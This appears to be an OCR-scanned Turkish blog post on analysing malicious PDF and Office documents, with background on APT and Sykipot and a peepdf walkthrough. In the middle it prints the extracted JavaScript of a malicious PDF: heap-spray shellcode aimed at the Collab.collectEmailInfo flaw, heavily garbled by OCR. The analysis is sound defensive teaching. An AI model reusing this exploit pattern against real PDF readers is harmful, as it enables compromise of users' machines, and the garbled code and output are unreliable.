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Eskiden art niyetli olsun veya olmasin bilgisayar korsanlarinin hedef

sistemlere sizmalarinin arkasinda yatan baslica sebepler; hacktivism
gayesiyle diinyaya mesaj verme, finansal fayda saglamak amaciyla finansal
bilgilere erisme, sistemde tespit edilen guvenlik zafiyetleri konusunda
sistem yoneticilerini uyarma, kin ve nefret gudileriyle hareket ederek hedef
sistemlere zarar vermekti. Ancak zaman degisti ve uluslar, bilgisayar
korsanlarindan olusan kendi siber kuvvetlerini olusturarak hackingi bir silah
olarak diger devletlere karsi kullanmaya basladilar.

Siber savasin yasandigi gunumizde cogunlukla izlenen strateji zarardan cok
kalici olarak hedef sistemlerde barinmaya calisma ve olabildigince hassas
bilgilere ulasma yoninde oluyor ve cogunlukla arkasinda uluslarin olduguna
inanilan bu sizmalara Advanced persistent threat (APT) adi veriliyor. Her ne
kadar APT tehditlerinin arkasinda c¢ogunlukla c¢ok iyi organize olmus bir
grubun, ulusun olduguna ve sizmalarda ileri seviye zararli yazilimlardan ve
sofistike arac¢lardan faydalandiklari disunilse de aslinda RSA vakasinda
oldugu gibi sahte bir e-posta hazirlama becerisi, ofis dokimanlarini agmak
icin kullanilan bir uygulamada Fuzzer ile givenlik zafiyeti kesfetme
becerisi, bu zafiyeti istismar edecek kod parcasini (exploit) hazirlama
becerisi ve son olarak kaynak kodlarina internette rastlayabileceginiz bir
araci ozellestirme (6rnek: modifiye edilmis poison ivy) becerisi yeterli
olmaktadir. Hele ki glnimizde bu islerin nasil yapilabilecegini anlatan
say1s1z makale oldugu dusunuldiginde siradan bir kurum icin bile bu tehditin
gerceklesme olasiligi oldukca ylksek seviyelere cikmaktadir.

Cogunlukla ABD Savunma Sanayii sirketlerini hedef alan Cin’1li grubun,
sistemlere sizmak ve gizli belgeleri calmak ic¢in kullandiklari Sykipot
adindaki zararli yazilimi bulastirmak ic¢in 2007 yilindan bu yana sirket
calisanlarina, zafiyete sahip istismar kodu iceren ofis doklimanlari
gonderdikleri ve bu yontemin bir ¢ok organize su¢ Orgutu tarafindan da
kullanildigi disunudldaginde genel kabul goérmis guvenlik kontrollerinin (ips,
antivirls, vs.) yetersiz oldugu anlasilmaktadir. Durum bdyle olunca da
kullanicilardan gelen ihbarlar dogrultusunda olasi zararli kod igeren ofis
doklimanlarinin analiz edilmesi bir kurum icin kac¢inilmazdir.


https://www.mertsarica.com/zararli-pdf-analizi/
http://www.networkworld.com/news/2012/011412-chinese-attack-us-dod-smart-254927.html

SYKIPOT ATAK VEKTORLERI

CVE TARIH YAZILIM
CVE-2007-0671 2007-02-02 Microsoft Excel
CVE-2008-3557 2010-12-01 Adobe Reader
CVE-2010-0806 2010-05-04 Internet Explorer
CVE-2010-2883 2010-09-08 Adobe Reader
CWVE-2010-3654 2010-10-28 Adobe Flash Player
CVE-2011-2462 20111206 Adobe Reader

Zararli dokuman analizinde analiz edilecek dosya Microsoft ofis dokumani ise
amac, zararli kod icerebilecek VB makro kodu, OLE verisi, kabuk kodu, PE
dosyasini tespit etmektir. Bunun icin OfficeMalScanner ve 0ffVis araclarindan
faydalanabilirsiniz.

Eger analiz edilecek dosya PDF ise bu defa amag¢, zararli kod icerebilecek
Javascript kodunu tespit etmektir. Bunun icin de pdf-parser.py, peepdf ve
Origami gibi araclardan faydalanabilirsiniz.

Ornek olarak malware.pdf adinda zararli kod iceren bir pdf dosyasini analiz
etmek istersek yapacagimiz ilk is ayri ayri bu is icin tasarlanmis aracglari
indirmek yerine zararli yazilim analizi gerceklestirmek icin 6zel olarak
hazirlanmis ve bir cok araci uUzerinde barindiran REMnux sanal isletim
sistemini indirip kullanmaktir.

Kullanmaya basladigim bu isletim sisteminde, masalstiine kopyaladigimiz
malware.pdf dosyasini peepdf araci ile analiz etmek ic¢in peepdf.py -i
malware.pdf komutunu yazarak bu pdf dosyasi lUzerinde javascript kodu olup
olmadigini kontrol edebiliriz.


http://www.reconstructer.org/code.html
http://blogs.technet.com/b/srd/archive/2009/09/14/offvis-updated-office-file-format-training-video-created.aspx
http://blog.didierstevens.com/programs/pdf-tools/
http://code.google.com/p/peepdf/
http://esec-lab.sogeti.com/pages/Origami
http://zeltser.com/remnux/
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remnux@remnux: ~/Desktop$ peepdf -1 malware,pdf [~]

File: malware.pdf
MDS: c289bc26462ef94f991d59c3708e3bas
Size: G766 bytes
Wersion: 1.6
Binary: True
Linearized: True
Encrypted: False
Updates: 1
Objects: 12
Streams: 4
Comments: 0
Errors: 0

Wersion ©:
Catalog: 8
Info: 6
Objects (1): [7]
Streams (0): []

Version 1:
Catalog: Mo
Info: No
Objects (11): [1, 2, 3, 4, 5, 6, 8, 9, 18, 11, 12]
Streams (4): [12, 10, 4, 5]
Encoded (3): [12, 10, 4]
Objects with JS code (1): [4]
Suspicious elements:
/Mames: [8, 2]
fJavaScript: [8, 3]
£1s: [3]
Collab.collectEmailInfo (CVE-2007-5858): [4]

&

GOoruldigu Uzere peepdf araci bize 4. objede (Object with JS code) javascript
kodu oldugu bilgisini vermektedir. js beautify object 4 komutunu yazarak pdf
dosyasi icinde yer alan javascript kodunu duzgun bir bigimde

goruntuleyebiliriz.
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PPDF= js_beautify object 4

function re(count, what) {

var-v. = "'";

while (--count == 8) v += what;

return v;
)
function start() {

sc = unescape("¥U9090%UI090%US0I0%UI090")

sc += unescape("%u02eb¥uebbo%ue8DsRuUTFFERUTFfT¥ued83%uonle" ),

sc += unescape( '%US190%USASARLSE41%U3050%U3041%UEE4 1%u4141%u3251%0u424 1%u4232%0u3042%u4242%04 24 1%US
058%U4138%UTS42%04944" ) ;

sc += unescape( "%UBE35XUGBEEXUECTORUTATERUT435%UG430%UGBAERU4535%UTO64%UZ043%UTOETHRUSO35%U4DECHUS
276%US355%U504D%USAGERUS 1 TE%U4F 443064 4E%U4B30%UZ033RUS055%UZ063XUTEABRUT 25 THUG 1 36%UEEEBRUG262%UE 1 75%uU
TOSTHRUTOITRUTEZ1HUTOZ5%U4454%U5055%US045%U4AS 2RUS04 5%U4F4BRUS 06 8%UGO6DXUTOEERUZ 443X UTOETHUZ06 23X UGB EER
LGBEO%UEBES 8% UGS TERUGET3HUS24A%UZ460%UGFEOXUTO4ARUSEABXEUTE48%UEFEOXUGFEO%UEF49%U4BEARUT TEEXUSTE0%UL4B4A
T TAERU3163%uTO4ATHUTOS THUABACHUTEEBRUS IDEHUE 9 4ANUSIE 1HUT 33480306 FRUS04E%U4 3T 8RUECEO%US 26 ARUGELCHUEDA
EfU 7 7o 3%UEF59%UEFE 3RUG36A%U4OTARLAZT4%Ud 2T 4%US035%U 704 7RUGEB 7 3%US 160%UGCE8%U3450%US 155%US035%UT7O3 TRU4B
BCRLS428%U4EZ TR T T4BRUT227HU4332%U6D50%0U34 558U TO60HUAEE TRUSTAFHUS 25 1%U44 T4HUEFE 48U 735 1%UTO30%UT275%04
360%BUTZ4BRUTET THU3330%UTOEBRUS0TORU30TERUSEE3%RUE456%US135%UTOE TRUTOT 7HUT 26 2%US350%UT032%U38EDRUE 9T THU
GlEEXUTOSTRUTOSTHUAF4BRUS 03 EXUABECHAUGCE9NUABECHUST49%UZ34BRUS069%UGEE56HUAEZTHUSALDRUTE26%UT44FEUGEEB%
UT450%UT337HUE03 1%U4BAARUSEEARUGES SHUETAFRUTO3THUS 27 TRUTO35%U4 9 TORU4ETORUGETSHUTTEBRUSO5 1%U3443%uUT 372
FL3436%U3 14 7THRUGCo2%USESSRUTE6BRUTOS3%UTET TRudCT0%U3370%RU4 230%U4ET TRUT7T84F%U5050%US955%US34D%u4CoA%RLSAS
OUUE3TERUTO4BRUZ3E0RU4BEO%UEBEERLAC38%U434CHUEE4ARUS A TORUADE 3RUGO5ERUGESSRUGOEERUAC TSRS 155%UT36F%LS0
49%UT44THUGBTEXLT248%UGB4EXLACE8RUABACHLTICARUGI6EXUT34BRUS044%US266%U306FEUGEZSRU3TAFHUT353%UECE4%UE
136%UE045X%UE0T5RUS065XUE 150%US320%UTOT 2RUTO62%US070RUTOE2%US0T70RUZ0TEHUS TE0RUZ046%USBEBXUT 14D%UT O 373U
BEOTERUTO4THUSE4BHUGBEARUI053HUTOETRUTOSTHUSOECHUIBEDHUIEAFRUTOSTHUSOE5XUTOE THUAFEBXUTOSARUSAGIHUTOITH
UT34B%uS0ADHUEETERUGET3HUE 45 1%uUSTT4%uT 14FXUGBTSHUS 34DRuU4CE3RUT 4 TERU3433%uS 4 T2HUEF76%US 14D%UTE30%U3533
LS OGCHU TOGERUS04CHRUSOECHU44T3%UTET 7HUSS50%U4BECHUGCTERUEDAERU3OT TRUSS65%UEFE9%UTO49%UTET 1%U4F32%U4ES
2UUTOSTRUSOTENUTEE 1XUEE T 1RMUS232Xu4CE2%UED TORUAB4ARUT 2268 4D4CRUT453RUTAE5%UG466%US0 7 ORUGBEBRUTOSGRUGE
S9%UAFGBMUGFE9%LS0TO%UGB58%U334A%US045%U5075%US035%U4B4ARUS 4 30%USE4BRUGO TEHUEF 4 9%U4FGB%UGF 7 9%UT 36F%US
449%UEB65%U33AFEUTAZIHULCA2HU4BE2HULAEG2RUGA51HUE430%U4 CA2HUABEARUT 2TERU4DACHUSAE 1%UTA435%UZ433%UE0TO%RU
584B%UGCEE%U4EGBHUGFEORU4FEBHLZOTERUEEEBRUEF TORUTOGTHUSOE5XUE0 35HUEBEEXLTO4DRUGBEE%U394D%U4FEBYUAFEE%
LAF4B%U436C%U5449%UTE5 TRU334FRUTEG9%UT350%US035%UT07 7TRUS035%US863%U4C4A%U4 T4D%U T34 7RUGCTERUTOG2%UTEES

()
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2UUAFT4%U4E3THUABECHUGBE3NUGCTERUIE4THU4B4CHUZ 35 4%u4 CEERUEDACHUSETEHUABECHUSOT 1%u4 84 4%u4BT 1%US 34 9%UGE
BE%UABECHUIBT 1%UE466%UE34ERU336FHU4C 3 3HUGESSHUGB4ENUG342%ud CT THUSBE3HUE 3 TANLTOT 1%uTO4ERUZEE0RUEB4ERUL
CE2%U3451%U4456%UE635XU4BECHUIETTHRUACETHULBE THRUEBEERUS450%UTE3THULEE3HUT 3T TRUSS TERUIEZ THUAB I CHUSAS 1%U
38T 2%UBETSRUSBEERUSATORUTOTEHUIZTIUUGDEBRUSIABXUABA THU T 33HUGETEXUAB4CHUTAZ4%HUL4BACHUIZTIXUAE4BRUGITEH
LGF49%UG355%UZ04FHU4 CABRUL CAERUGIAEXUSO59%UEAE 1RUSTE5%UT 16BXUBFEARUED 7EHUE 35 6%USBEARUEE38%US 4 4A%RUSE2E
FLUEBA5%UACE3NUZAE 1%UTEE5%UEEE 1RU4AF20%UAES THUGB4ERUAAZ 1HUGA64%UT 33THULADAOKUGETORUAESTHUEBEEXU4CE4RUERBS
2UUBETE%UBEEEXUSASOXUGCETHUS3T5%UADTORUEESSRUEBAERUE 45 TRUGBEERUT I3 THUIS4ERUAEETHUS94DRUZ456%UT47EHUAC
EE%US 15 3%UE34ARUTETORUTE3BRUEDEORUAF4BHUAFEBXUGE50HU4453%US 44 2HUE0GE2HUTATAXUAFTEHUAFEERUSE36%XUI520%UE
ES4%U31T0%U4 T 7 THUGETARUG265HUI2TORUS 1 TERULESEHU4 25 THUBFE4%UZ454%U4 23 3%US 153RUE 3 TORUIBE2HUEF T 4%U3 165%uU
AE4B%UTO30%UTBE 1%UTO30RUTOTTRUTATEHLUODAL" ),
if (app.viewerversion »>= 7.8) {

ef8 = unescape('"%¥udbob%¥udB28") + unescape("%ubGeb®udseb");

ef8l = unescape("%udbob%uBdz8") + unescape("%¥udaeb¥udasb");

plin = re(1124, ef8) + ef8l + unescape("%u9090%u2890") + re(122, ef8) + sc + re(1256, unescap
el "%udldl%ud1da1"y ),

} else {

eft = unescape('"%uféeb¥uféeb") + unescape("%udbob%usnla");

plin = re(80, unescape("%#uU9090%UODED")) + sc + re(80, unescape('%uUD020%UD090")) + unescape("®%
uabed%ufff8") + unescape("#uffffiuffff") + unescape("%ufteb%ufdeb") + unescape("%ufiebXufleb");

if ({plin.length % 8) != 8) plin = unescape("%uU2090%u2038") + plin;

plin += re(2626, ef6);

if (app.viewerVersion == 6.08) {
this.collabStore = Collab.collectEmailInfol {

PPOF> |

U707 7HUS0E5%US075%u4 36C%U5449%04 85 4%U5 350%UB353%U T3 74%U4B50%US 453%U4B4 C%UEBE 3%U 7 054%UB56E%UB5 0%US S5 ~|

subj: "',
msg: plin
1)
}
}
var inBrowser = this.external;
if (inBrowser) var shaft = app. setTimeOut{"start()", 12080); L]




Analiz neticesinde olusturulan kabuk kodununun (shellcode)
Collab.CollectEmailInfo fonksiyonuna gonderiliyor olmasi sonucunda bu pdf
dosyasinin icinde 2008 yilindan kalma Adobe PDF v8.1.1 ve 6nceki surumlerinde
bulunan zafiyeti istismar eden istismar kodunun (exploit) bulundugunu
6grenmis oluyoruz.

Kimi zaman bu 6rnekte oldugu gibi pdf dosyasi icinde yer alan istismar
kodunun hangi zafiyeti istismar ettigini anlamak bu kadar kolay olmayabilir.
Bu gibi durumlarda javascript kodu icinde yer alan kabuk kodunu set shellcode
“kabuk kodu” komutu ile tanimladiktan sonra js unescape variable shellcode
komutu ile analiz edilebilir hale getirebilir, sctest variable shellcode
komutu ile kabuk kodunun calismasini simile edebilir, shellcode2exe araci ile
ylirutidlebilir programa (executable) cevirerek immunity debugger ile dinamik

olarak analiz edebilirsiniz.

Bir sonraki yazida goOrismek dilegiyle yeni yilin herkese glvenli gilinler
dilerim.


http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5659
http://breakingcode.wordpress.com/2010/01/18/quickpost-converting-shellcode-to-executable-files-using-inlineegg/

